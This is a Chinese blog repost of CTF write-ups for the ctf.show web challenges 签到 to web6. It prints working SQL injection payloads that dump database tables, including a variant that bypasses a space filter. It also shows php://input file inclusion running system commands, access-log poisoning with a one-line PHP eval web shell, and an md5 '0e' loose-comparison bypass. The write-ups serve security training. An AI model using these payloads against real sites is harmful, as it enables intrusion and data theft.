CTF show----web 解题笔记(web签到~web6)

这篇具有很好参考价值的文章主要介绍了CTF show----web 解题笔记(web签到~web6)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

web签到题

web2

考查点:

1.判断sql注入回显位置

2.查当前数据库名称

3.查看数据库表的数量

4.查表的名字

5.查flag表列的数量

6.查flag表列的名字

7.查flag表记录的数量

8.查flag表记录值

web3

web4

web5 

web6

web签到题

CTF show----web 解题笔记(web签到~web6)

where is flag? 直接F12去找一下 

CTF show----web 解题笔记(web签到~web6)

 找到   Y3Rmc2hvd3s1YzYyZWE0Mi04M2E5LTRhNDUtODRiMi00NzJkZGViZTcxNGF9

通过base64解密,拿到flag

CTF show----web 解题笔记(web签到~web6)

web2

查看了hint,直接使用hint中的payload

考查点:

  • 基本的SQL注入
  • 多表联合查询

在用户名处注入sql语句,密码随意

1.判断sql注入回显位置

 ' or 1=1 union select 1,2,3 limit 1,2;#--

CTF show----web 解题笔记(web签到~web6)

得到在2有一处回显

2.查当前数据库名称

 ' or 1=1 union select 1,database(),3 limit 1,2;#-- 

得到数据库名称web2

CTF show----web 解题笔记(web签到~web6)

3.查看数据库表的数量

' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#-- 

得到数据库表数量为2

4.查表的名字

第一个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

得到表名:flag

CTF show----web 解题笔记(web签到~web6)

 第二个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

得到表名:user

CTF show----web 解题笔记(web签到~web6)

5.查flag表列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

只有1列

CTF show----web 解题笔记(web签到~web6)

6.查flag表列的名字

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

列名为flag

CTF show----web 解题笔记(web签到~web6)

7.查flag表记录的数量

' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

只有一条记录

CTF show----web 解题笔记(web签到~web6)

8.查flag表记录值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#-- 

得到flag

CTF show----web 解题笔记(web签到~web6)

web3

题目提示是一道php伪协议+文件包含的题目,通过get传递的参数是’url‘

 CTF show----web 解题笔记(web签到~web6)

使用Burp suite 抓包,发送给Repeater 

CTF show----web 解题笔记(web签到~web6)

构造php伪协议,通过url传递,?url=php://input

写入  <?php system("pwd");?> 

CTF show----web 解题笔记(web签到~web6)

写入  <?php system("ls");?> 

CTF show----web 解题笔记(web签到~web6)

 发现在/var/www/html目录下有两个文件,ctf_go_go_go和index.php,传入cat  ctf_go_go_go查看,得到flag

CTF show----web 解题笔记(web签到~web6)

web4

CTF show----web 解题笔记(web签到~web6)

乍一看和web3很像,查看提示,这是一道日志注入的文件包含,通过查看Response Headers得知对方web服务器使用的是Ubuntu+nginx

CTF show----web 解题笔记(web签到~web6)

 直接尝试在url后传入参数?url=/var/log/nginx/access.log

查看nginx默认日志,回显access.log的内容 

CTF show----web 解题笔记(web签到~web6)

 启动Burp Suite抓包,在请求头中中写入一句话木马

<?php @eval($_POST['a']);?>

CTF show----web 解题笔记(web签到~web6)

放包后通过蚁剑连接

CTF show----web 解题笔记(web签到~web6)

连接成功,并发现在/var/www下有flag.txt文件,查看该文件得到flag

CTF show----web 解题笔记(web签到~web6)

web5 

CTF show----web 解题笔记(web签到~web6)

 页面打开是一段代码,应该是一道代码审计题。关键代码如下:

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>


ctype_alpha()函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否仅包含字母。如果字符串只包含字母,它返回true ,否则返回FALSE。
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果字符串只包含数字,它返回true ,否则返回FALSE。

get传递两个参数,v1和v2,如果v1和v2条件判断都为真,且对v1和v2的MD5值进行碰撞结果为真,则返回flag,否则返回输出where is flag。

这里是利用了php中的MD5函数漏洞,php是弱类型语言,在使用==判断的时候,只会判断参数值,不会判断参数类型。使用下面的php函数来看

<?php 
$str1 = 'QLTHNDT';
$str2 = '240610708';
if (md5($str1)==md5($str2)) {
    echo "TTTT!";
} else {
    echo "FFFF!";
}


echo md5($str1);
echo "\n,\n";
echo md5($str2);
echo "\n"; 

 从输出结果可以看到,str1和str2在php中的MD5用==判断是相等的,而实际上生成的是两段不一样的MD5值,两段MD5值都是0e开头的,在科学计数法中0e开头不管后边数是多少,他的数值都为0。

(参考md5加密介绍以及php中md5的漏洞 - 腾讯云开发者社区-腾讯云)

CTF show----web 解题笔记(web签到~web6) 操作:

同时传入参数,得到flag

?v1=QLTHNDT&v2=240610708

CTF show----web 解题笔记(web签到~web6)

web6

CTF show----web 解题笔记(web签到~web6)

出现登录窗口,猜测可能是SQL注入。bp抓包,修改username内容进行注入尝试。

CTF show----web 解题笔记(web签到~web6)

 发现注入失败,应该是sql注入,考虑换个绕过方式。

CTF show----web 解题笔记(web签到~web6)

使用/**/代替空格尝试绕过

CTF show----web 解题笔记(web签到~web6)

成功回显内容,说明对空格进行了过滤,可以使用/**/代替空格绕过

 CTF show----web 解题笔记(web签到~web6)

构造payload

1.找出回显位置

'/**/or/**/1=1/**/union/**/select/**/1,2,3#

 CTF show----web 解题笔记(web签到~web6)

 得到回显位置为2

CTF show----web 解题笔记(web签到~web6)

2.查找数据库名

'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

CTF show----web 解题笔记(web签到~web6)

 得到数据库名为web2

3.查询数据库内数据表名称

'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

CTF show----web 解题笔记(web签到~web6)

找到两个表,flag和user

4.查询flag表的字段

'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

CTF show----web 解题笔记(web签到~web6)

 flag表中有flag字段

5.查看flag字段中的内容

'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

 CTF show----web 解题笔记(web签到~web6)

得到flag 文章来源地址https://www.toymoban.com/news/detail-417003.html

到了这里,关于CTF show----web 解题笔记(web签到~web6)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(46)
  • CTF show逆向5

    没有壳,32位文件 同时注意到附件里的dll文件 找到主函数 分别看看sub_4020B0 sub_4015BD 这两个函数 我发现一般看到MessageBoxA函数,都需要动态调试 动调看到 这里直接进行了返回,返回到了主函数 执行sub_4015BD函数 步入这个函数单步调试 发现Str[1]==1判断没有执行,直接跳过 看看

    2024年01月21日
    浏览(30)
  • ctf.show 愚人杯

    1、奇怪的压缩包 下载附件解压提示要密码 使用010editor打开,发现frFlags 和 deFlags 的值都被修改了,这就会造成压缩包的伪加密, 将它们都改回0。  另存为一个文件再打开,没有密码提示了  解压发现图片并不完整,反正高度并不够的,下面还有内容没有显示出来  放入01

    2023年04月16日
    浏览(32)
  • 解析:Web3.0→Web6.0!又将创造什么机遇?

    从去年开始,Web3.0的话题和讨论度,开始呈现爆发式增长,Web3.0的概念也如“病毒式”地在全球流行起来。 在此之前,小编对 Web3.0 最多的理解还停留在 “数据所有权的去中心化” 上,然而随着越来越多的 Web3.0 应用的快速发展,Web3.0的叙事也在很短的时间内产生了迭代。我

    2024年02月06日
    浏览(34)
  • CTF-Show-爆破系列

    burp的四种爆破模式: 上述内容来自:https://blog.csdn.net/m0_74097148/article/details/128901184 下载题目中给定的字典。打开页面发现是一个登录框,猜测用户名为admin,密码直接使用burp来进行字典爆破。 字典的内容为: 尝试填写表单数据(admin admin)并抓包: 发现并没有我们输入的adm

    2024年03月09日
    浏览(37)
  • CTF-Show-信息搜集系列

    前端程序员进行开发时,并没有将注释进行删除,导致信息泄露。 这道题在上一道题的基础上做了限制(前端),不让使用快捷键(f12)以及右键打开开发者工具。 那么,我们可以找到chrome浏览器的更多工具,在这个选项中,打开开发者工具,即可绕过。 另一种解法: 没思

    2024年03月09日
    浏览(46)
  • CTF-Show密码学【摩斯码、培根密码】

    萌新 密码33 题目名称 :我想吃培根 题目描述 :-- — .-. … . …–.- … … …–.- -.-. — — .-… …–.- -… …- - …–.- -… .- -.-. — -. …–.- … … …–.- -.-. — — .-… . .-. …–.- – – -… -… – -… – -… – – – -… -… -… /-- -… – -… -… --/ – – – – – /-- -… -… –

    2024年02月11日
    浏览(37)
  • CTF-Show密码学【Base64、栅栏密码、16进制】

    萌新_密码13 初步分析 我们首先面对一串看起来符合16进制特征的密文,附带了一个工具下载链接。根据描述,我们下载并打开工具,发现其中包含了一个 16进制编辑器 和一个栅 栏密码加解密 工具。 根据这些线索,我们可以确定这是一串 16进制密文 。为了进行解密,我们需

    2024年02月10日
    浏览(46)
  • CTF-Show密码学:ZIP文件密码破解【暴力破解】

    萌新 隐写23 题目内容: 文件的主人喜欢用生日做密码,而且还是个90后。 在这个题目中,我们有以下已知条件: 文件的主人喜欢用生日做密码 - 这个条件告诉我们,密码可能是一个八位的纯数字密码,因为大多数人的生日在公历中都可以用八位数字表示(例如,19901231表示

    2024年02月10日
    浏览(42)
  • 网络安全ctf学习资源/解题工具整理,解题工具,推荐收藏!

    对于想学习或者参加CTF比赛的朋友来说,CTF工具、练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助。 CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容齐全,收藏备用。 1、CTF在线工具箱:http://ctf.ssleye.com/ 包含CTF比赛中常用的

    2024年02月10日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包